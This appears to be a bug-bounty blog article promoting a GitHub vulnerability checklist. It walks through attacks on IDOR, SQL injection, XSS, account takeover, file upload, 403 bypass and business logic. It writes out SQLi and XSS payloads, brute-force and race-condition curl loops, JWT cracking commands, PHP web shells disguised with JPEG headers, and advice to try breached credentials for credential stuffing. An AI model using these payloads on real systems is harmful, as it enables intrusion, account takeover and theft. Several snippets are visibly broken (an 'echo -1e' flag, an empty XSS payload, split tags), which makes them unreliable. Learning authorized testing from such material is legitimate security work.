From Zero to Bug Hunter: This One GitHub Repo Maps Every Web Vulnerability You’ll Ever Need + Video

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Introduction:

The gap between knowing security concepts and actually finding vulnerabilities in real-world applications is where most aspiring bug hunters get stuck. Random notes, scattered tutorials, and incomplete checklists create confusion rather than clarity, leaving beginners guessing what to test and how to test it. Enter the `vulnerability-Checklist` repository — a structured, battle-tested collection of web and API vulnerability checklists that transforms chaotic learning into a systematic methodology for identifying everything from IDOR to RCE.

Learning Objectives:

  • Master a structured, repeatable methodology for testing web applications across 20+ vulnerability categories
  • Execute hands-on exploitation techniques for IDOR, XSS, SQL Injection, authentication flaws, and business logic bugs using verified commands and payloads
  • Build a personalized testing workflow that moves from theory to practice through lab environments and legally authorized targets
  1. IDOR (Insecure Direct Object Reference) — The Art of Broken Object-Level Authorization

Insecure Direct Object Reference occurs when an application exposes internal object identifiers (like user IDs, order numbers, or file paths) in URLs or parameters without proper authorization checks. An attacker can simply modify these identifiers to access data belonging to other users. The GitHub repo dedicates an entire section to IDOR testing methodology.

Step‑by‑step guide:

  1. Identify object references — Look for numeric or predictable identifiers in URLs (/user/1234), API endpoints (/api/orders?userId=5678), and hidden form fields.

  2. Modify and observe — Increment or decrement the identifier. Use Burp Suite’s Repeater or OWASP ZAP to send modified requests and observe if you receive data from other users.

  3. Test encoded and hashed IDs — If IDs appear Base64-encoded (/user/MTIzNA==), decode them, modify the plaintext value, re-encode, and resubmit. For hashed IDs, check if the hash is reversible or predictable (e.g., MD5 of a sequential number).

  4. Check GUIDs and UUIDs — Even if IDs are random, check for IDOR in other endpoints like `/download?file=../../` or parameter pollution techniques.

  5. Automated fuzzing — Use tools like Burp Intruder or ffuf:

ffuf -u https://target.com/api/orders?userId=FUZZ -w ids.txt -fc 403,404
  1. Windows alternative — Use PowerShell with Invoke-WebRequest in a loop:
1..1000 | ForEach-Object { Invoke-WebRequest -Uri "https://target.com/user/$_" -Method GET }

Key testing points from the checklist: Test IDOR in GET, POST, PUT, and DELETE methods. Check for IDOR in GraphQL queries, JSON bodies, and multipart form data.

2. SQL Injection — Beyond ‘OR 1=1’

SQL Injection remains one of the most critical web vulnerabilities, allowing attackers to read, modify, or delete database contents. The repo includes a dedicated SQL injection payload list.

Step‑by‑step guide:

  1. Initial detection — Inject a single quote (') into input fields and observe error messages. If you see database errors, SQLi is likely present.

2. Boolean-based blind testing — Use conditional payloads:

' AND 1=1 -- 
' AND 1=2 --
  1. Union-based extraction — Determine the number of columns using `ORDER BY` or UNION SELECT NULL:
' UNION SELECT NULL,NULL,NULL --
  1. Extract database information — Once column count is known:
' UNION SELECT database(),user(),version() --
  1. Automated scanning — Use sqlmap for deeper testing:
sqlmap -u "https://target.com/product?id=1" --dbs --batch
  1. Manual payload crafting — For time-based blind SQLi:
' AND SLEEP(5) --

Windows command for time-based testing:

(Measure-Command { Invoke-WebRequest -Uri "https://target.com/search?q=test'+AND+SLEEP(5)--" }).TotalSeconds

Mitigation: Always use parameterized queries (prepared statements) and stored procedures. Never concatenate user input directly into SQL queries.

  1. Cross-Site Scripting (XSS) — Persistent, Reflected, and DOM-Based

XSS allows attackers to inject malicious scripts into web pages viewed by other users. The repo covers both reflected and stored XSS vectors.

Step‑by‑step guide:

  1. Reflected XSS — Inject `` into URL parameters, search boxes, and error messages. If the alert executes, the input is reflected unsanitized.

  2. Stored XSS — Post the payload in comment sections, profile fields, or forum posts. If the script executes when other users view the page, it’s stored XSS.

  3. DOM-based XSS — Test client-side JavaScript sinks like document.write(), eval(), and `innerHTML` using payloads like "><img src=x onerror=alert(1)>.

  4. Bypass filters — Use event handlers, obfuscation, and encoding:


<

svg onload=alert(1)>
<img src=x onerror=alert(1)>

<

iframe src="javascript:alert(1)">
  1. Payload encoding — URL-encode, HTML-encode, or use Unicode escape sequences to bypass WAFs.

6. Automated XSS discovery — Use XSStrike:

python xsstrike.py -u "https://target.com/search?q=test"

Windows alternative — Use Burp Suite’s Active Scanner or OWASP ZAP’s passive scanning capabilities.

Mitigation: Implement proper output encoding (HTML entity encoding, JavaScript encoding), use Content Security Policy (CSP), and validate input on both client and server sides.

4. Authentication Flaws and Account Takeover (ATO)

Broken authentication encompasses a wide range of issues, from weak password policies to session fixation and credential stuffing. The repo includes a dedicated account takeover checklist.

Step‑by‑step guide:

  1. Test password reset functionality — Check if the reset token is predictable, sent via insecure channels, or if the reset link can be manipulated.

  2. Session fixation — Attempt to set a known session ID via URL parameter or cookie and see if the application accepts it.

  3. Brute force protection — Test if rate limiting is implemented. Send multiple login requests rapidly:

for i in {1..100}; do curl -X POST https://target.com/login -d "user=admin&pass=pass$i"; done
  1. Credential stuffing — Use breached credentials from Have I Been Pwned or other sources to test for reused passwords.

  2. 2FA bypass — Check if 2FA can be bypassed by:

– Intercepting the 2FA verification request and removing the parameter
– Using the same OTP for multiple requests
– Brute-forcing the OTP (if it’s short and numeric)

  1. JWT attacks — Test for algorithm confusion (none algorithm, HS256 vs RS256), weak secrets, and missing expiration checks.

Linux command for JWT brute force:

hashcat -a 0 -m 16500 jwt.txt rockyou.txt

Windows equivalent — Use John the Ripper or Hashcat with the same command structure.

  1. File Upload Vulnerabilities — From Shells to RCE

File upload features are a common entry point for remote code execution (RCE) if not properly secured.

Step‑by‑step guide:

  1. Bypass extension filters — Try double extensions (shell.php.jpg), null byte injection (shell.php%00.jpg), and case variations (shell.PHP).

  2. Bypass MIME type validation — Intercept the request and change `Content-Type` from `application/x-php` to `image/jpeg` or application/octet-stream.

  3. Bypass image magic byte checks — Prepend a valid image header to your payload:

echo -1e "\xFF\xD8\xFF\xE0" > payload.jpg
echo '<?php system($_GET["cmd"]); ?>' >> payload.jpg
  1. Test for path traversal — Upload files to directories outside the intended upload folder using `../` sequences in the filename.

  2. Check for race conditions — Upload a file and immediately request it before the application deletes or scans it.

  3. Windows-specific — Test for reserved device names (CON, AUX, NUL) and long filenames that might cause denial of service.

Linux payload for RCE verification:

<?php echo shell_exec($_GET['cmd']); ?>

Windows equivalent:

<?php system($_GET['cmd']); ?>

Mitigation: Validate file extensions against a whitelist, rename uploaded files, scan for malware, and store files outside the web root.

6. 403 Bypass and Authorization Flaws

A 403 Forbidden response doesn’t always mean you’re locked out. The repo includes a dedicated 403 bypass checklist.

Step‑by‑step guide:

  1. Add headers — Try X-Original-URL, X-Rewrite-URL, or `X-Forwarded-For` headers to bypass path-based restrictions:
curl -H "X-Original-URL: /admin" https://target.com/
  1. Use HTTP methods — Test if OPTIONS, TRACE, PUT, or `DELETE` are allowed on restricted endpoints.

  2. Path manipulation — Append ..;/, %2e%2e%2f, or URL-encoded versions of `/` to bypass directory restrictions.

  3. Case manipulation — Change case of the path (/AdMiN vs /admin) to test case-insensitive servers.

  4. Parameter pollution — Add duplicate parameters like `?id=1&id=2` to confuse the authorization logic.

  5. HTTP/2 downgrade — Some WAFs are bypassed by downgrading from HTTP/2 to HTTP/1.1.

Linux command for automated 403 bypass testing:

for header in "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-For"; do
curl -H "$header: /admin" https://target.com/
done

7. Rate Limiting Bypass and Business Logic Flaws

Rate limiting is often implemented poorly, and business logic flaws can lead to financial loss or data corruption. The repo covers both areas.

Step‑by‑step guide:

  1. Rate limit bypass — Test if rate limiting is IP-based. Use IP rotation via proxies or VPNs. Test if rate limiting resets on successful authentication.

  2. Business logic testing — Apply discounts multiple times, use gift cards repeatedly, or manipulate quantity parameters to negative values.

  3. Race condition testing — Send concurrent requests to endpoints that modify balances, inventory, or user data:

for i in {1..50}; do curl -X POST https://target.com/api/redeem -d "code=GIFT10" & done
  1. Integer overflow — Test for integer overflow in price or quantity parameters by sending extremely large values.

  2. Parameter manipulation — Change `price=100` to `price=0.01` or `price=-1` in API requests.

6. Windows PowerShell for concurrent requests:

1..50 | ForEach-Object { Start-Job { Invoke-WebRequest -Uri "https://target.com/api/redeem" -Method POST -Body "code=GIFT10" } }

What Undercode Say:

  • Structure over resources — Most beginners fail not from a lack of learning materials but from the absence of a clear, repeatable testing structure. This repo provides exactly that — a systematic framework that eliminates guesswork.
  • Learn by doing — Reading checklists alone won’t make you a hacker. The real value comes from taking one category (like IDOR), understanding the concept, practicing in controlled labs (PortSwigger, TryHackMe), and then applying the methodology on legally authorized targets.

The beauty of this repository lies in its comprehensiveness — 23 distinct categories covering everything from AEM misconfiguration to RCE. It aggregates wisdom from Twitter security researchers, bug bounty hunters, and penetration testers into one unified resource. The key insight is that vulnerability discovery is not about magic but about methodology. When you have a checklist that tells you exactly what to test, where to look, and how to exploit, the process becomes systematic rather than random. For beginners, this is the difference between frustration and breakthrough.

Prediction:

  • +1 Structured checklists like this will become the standard onboarding tool for junior penetration testers, reducing the learning curve from months to weeks and standardizing testing methodologies across the industry.
  • +1 The democratization of vulnerability knowledge through open-source repositories will continue to raise the baseline security posture of the entire web ecosystem as more developers and testers adopt these checklists during development and QA phases.
  • -1 As these checklists gain popularity, attackers will also use them to automate reconnaissance and exploitation, increasing the pressure on defenders to implement more robust security controls and monitoring.
  • -1 The reliance on checklists may inadvertently create a generation of testers who can follow instructions but lack the deeper contextual understanding needed to find complex, chained vulnerabilities that don’t fit neatly into predefined categories.
  • +1 The integration of AI with structured vulnerability databases will enable the creation of intelligent testing assistants that can prioritize vulnerabilities based on business context and exploitability, making security testing more efficient and impactful.

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